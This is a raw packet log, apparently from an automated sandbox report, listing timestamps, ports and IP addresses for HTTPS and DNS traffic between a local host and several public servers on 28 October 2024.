Oct 28, 2024 02:07:34.020128012 CET	49843	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.020137072 CET	443	49843	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.020157099 CET	49842	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.020169973 CET	443	49842	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.024178982 CET	49844	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.024192095 CET	443	49844	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.024204969 CET	49844	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.024209976 CET	443	49844	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.024355888 CET	49841	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.024364948 CET	443	49841	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.024377108 CET	49841	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.024382114 CET	443	49841	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.034959078 CET	49856	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.034971952 CET	443	49856	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.035156012 CET	49856	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.059406996 CET	49857	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.059433937 CET	443	49857	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.059587955 CET	49857	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.061101913 CET	49856	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.061130047 CET	443	49856	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.061234951 CET	443	49845	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:34.061306953 CET	49845	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:34.066883087 CET	49845	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:34.066888094 CET	443	49845	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:34.067145109 CET	443	49845	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:34.073259115 CET	49857	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.073271036 CET	443	49857	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.101880074 CET	49845	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:34.101937056 CET	49845	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:34.101943016 CET	443	49845	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:34.102065086 CET	49845	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:34.106246948 CET	49858	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.106276989 CET	443	49858	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.106370926 CET	49858	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.107585907 CET	49859	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.107605934 CET	443	49859	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.107892990 CET	49859	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.123486996 CET	49860	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.123558044 CET	443	49860	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.123655081 CET	49860	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.124058008 CET	49858	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.124075890 CET	443	49858	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.124319077 CET	49859	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.124341011 CET	443	49859	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.134268999 CET	49860	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.134315014 CET	443	49860	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.147344112 CET	443	49845	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:34.350261927 CET	443	49845	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:34.354938030 CET	49845	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:34.354954958 CET	443	49845	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:34.354971886 CET	49845	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:34.355036974 CET	49845	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:34.570935965 CET	53	49852	1.1.1.1	192.168.2.6
Oct 28, 2024 02:07:34.573066950 CET	49852	53	192.168.2.6	1.1.1.1
Oct 28, 2024 02:07:34.578080893 CET	49868	443	192.168.2.6	18.244.18.38
Oct 28, 2024 02:07:34.578102112 CET	443	49868	18.244.18.38	192.168.2.6
Oct 28, 2024 02:07:34.578197002 CET	49868	443	192.168.2.6	18.244.18.38
Oct 28, 2024 02:07:34.578723907 CET	53	49852	1.1.1.1	192.168.2.6
Oct 28, 2024 02:07:34.578789949 CET	49852	53	192.168.2.6	1.1.1.1
Oct 28, 2024 02:07:34.579724073 CET	49868	443	192.168.2.6	18.244.18.38
Oct 28, 2024 02:07:34.579739094 CET	443	49868	18.244.18.38	192.168.2.6
Oct 28, 2024 02:07:34.805763960 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:34.813471079 CET	443	49857	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.816559076 CET	443	49856	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.856391907 CET	49857	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.856410980 CET	443	49857	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.857024908 CET	49857	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.857029915 CET	443	49857	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.857516050 CET	49856	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.857537985 CET	443	49856	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.858114958 CET	49856	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.858119965 CET	443	49856	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.858411074 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:34.858438969 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:34.860070944 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:34.860124111 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:34.860153913 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:34.860173941 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:34.860208035 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:34.860215902 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:34.860259056 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:34.861227989 CET	443	49859	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.862986088 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:34.863389015 CET	443	49858	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.864006042 CET	443	49860	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.877635002 CET	49859	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.877644062 CET	443	49859	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.904597998 CET	49858	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.904599905 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:34.966490030 CET	49860	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.982572079 CET	443	49857	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.982703924 CET	443	49857	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.982817888 CET	49857	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.986824989 CET	49859	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.986829996 CET	443	49859	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.987046003 CET	49858	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.987052917 CET	443	49858	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.988105059 CET	443	49856	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.988166094 CET	443	49856	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.988229036 CET	49856	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.988239050 CET	443	49856	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.988269091 CET	443	49856	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.988312960 CET	49856	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.989522934 CET	49858	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.989527941 CET	443	49858	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.989716053 CET	49857	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.989728928 CET	443	49857	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.989738941 CET	49857	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.989744902 CET	443	49857	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.989882946 CET	49856	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.989890099 CET	443	49856	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:34.997325897 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:34.997612953 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:34.998737097 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:34.998745918 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.001157999 CET	49860	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.001183033 CET	443	49860	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.001719952 CET	49860	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.001734972 CET	443	49860	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.057540894 CET	49873	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.057591915 CET	443	49873	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.057678938 CET	49873	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.060061932 CET	49874	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.060100079 CET	443	49874	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.060180902 CET	49874	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.060257912 CET	49873	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.060290098 CET	443	49873	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.061147928 CET	49874	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.061167002 CET	443	49874	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.110933065 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.114612103 CET	443	49859	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.114675045 CET	443	49859	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.114733934 CET	49859	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.114742041 CET	443	49859	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.114782095 CET	443	49859	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.114865065 CET	49859	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.116735935 CET	49859	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.116746902 CET	443	49859	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.116755962 CET	49859	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.116761923 CET	443	49859	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.119364977 CET	49876	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.119390011 CET	443	49876	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.119437933 CET	49876	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.119821072 CET	49876	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.119832993 CET	443	49876	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.121598005 CET	443	49858	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.121685982 CET	443	49858	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.121798992 CET	49858	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.125190973 CET	49858	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.125205040 CET	443	49858	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.125214100 CET	49858	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.125219107 CET	443	49858	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.128420115 CET	49877	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.128448009 CET	443	49877	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.128516912 CET	49877	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.128722906 CET	49877	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.128736019 CET	443	49877	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.131266117 CET	443	49860	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.131335020 CET	443	49860	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.131402016 CET	49860	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.131783962 CET	49860	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.131810904 CET	443	49860	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.131897926 CET	49860	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.131928921 CET	443	49860	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.135822058 CET	49878	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.135833025 CET	443	49878	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.136012077 CET	49878	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.136192083 CET	49878	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.136200905 CET	443	49878	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.251127958 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.251235008 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.251322985 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.251336098 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.255389929 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.255438089 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.255448103 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.264496088 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.264560938 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.264569998 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.273853064 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.273921013 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.273927927 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.370301008 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.370485067 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.370487928 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.370516062 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.370563030 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.370599031 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.371189117 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.371272087 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.371273041 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.371294975 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.371376038 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.375524044 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.376887083 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.376950026 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.376959085 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.392376900 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.392465115 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.392479897 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.392493010 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.392538071 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.392546892 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.398313999 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.398401022 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.398411989 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.406915903 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.406972885 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.406985998 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.444224119 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.444313049 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.444325924 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.473058939 CET	443	49868	18.244.18.38	192.168.2.6
Oct 28, 2024 02:07:35.473282099 CET	49868	443	192.168.2.6	18.244.18.38
Oct 28, 2024 02:07:35.473294973 CET	443	49868	18.244.18.38	192.168.2.6
Oct 28, 2024 02:07:35.474987030 CET	443	49868	18.244.18.38	192.168.2.6
Oct 28, 2024 02:07:35.475054026 CET	49868	443	192.168.2.6	18.244.18.38
Oct 28, 2024 02:07:35.477040052 CET	49868	443	192.168.2.6	18.244.18.38
Oct 28, 2024 02:07:35.477130890 CET	443	49868	18.244.18.38	192.168.2.6
Oct 28, 2024 02:07:35.488898039 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.488924980 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.488945961 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.488959074 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.489058018 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.489067078 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.489361048 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.489392996 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.489401102 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.489408970 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.489451885 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.489491940 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.489500046 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.489773035 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.490207911 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.490272045 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.490309000 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.490314007 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.490320921 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.490380049 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.494266033 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.495768070 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.495825052 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.495840073 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.495848894 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.496001005 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.496007919 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.511548996 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.511579990 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.511605024 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.511627913 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.511641026 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.511651993 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.511666059 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.511696100 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.511697054 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.511708021 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.511758089 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.513695002 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.518296003 CET	49868	443	192.168.2.6	18.244.18.38
Oct 28, 2024 02:07:35.518309116 CET	443	49868	18.244.18.38	192.168.2.6
Oct 28, 2024 02:07:35.519364119 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.519397974 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.519428015 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.519444942 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.520155907 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.523900986 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.528945923 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.528976917 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.528995991 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.529004097 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.529040098 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.533579111 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.562794924 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.562834978 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.562881947 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.562899113 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.562911034 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.562935114 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.566004038 CET	49879	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:35.566055059 CET	443	49879	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:35.566159964 CET	49879	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:35.566436052 CET	49879	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:35.566472054 CET	443	49879	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:35.567646027 CET	49880	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:35.567667961 CET	443	49880	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:35.567729950 CET	49880	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:35.567914009 CET	49880	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:35.567924976 CET	443	49880	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:35.601752043 CET	49881	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:35.601780891 CET	443	49881	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:35.601906061 CET	49881	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:35.602683067 CET	49881	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:35.602698088 CET	443	49881	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:35.608918905 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.608958960 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.608983994 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.608994961 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.609033108 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.609078884 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.609086990 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.609298944 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.609344006 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.609922886 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.609961987 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.609977961 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.609988928 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.610024929 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.610030890 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.610172987 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.610208988 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.610244989 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.610256910 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.610265017 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.610306025 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.610456944 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.610536098 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.610575914 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.611239910 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.611341953 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.611365080 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.611372948 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.611414909 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.611421108 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.611814976 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.611884117 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.611954927 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.611959934 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.611985922 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.612027884 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.612092018 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.612133026 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.613987923 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.614113092 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.614185095 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.614234924 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.614248037 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.614563942 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.618886948 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.623349905 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.623402119 CET	49850	443	192.168.2.6	142.250.184.193
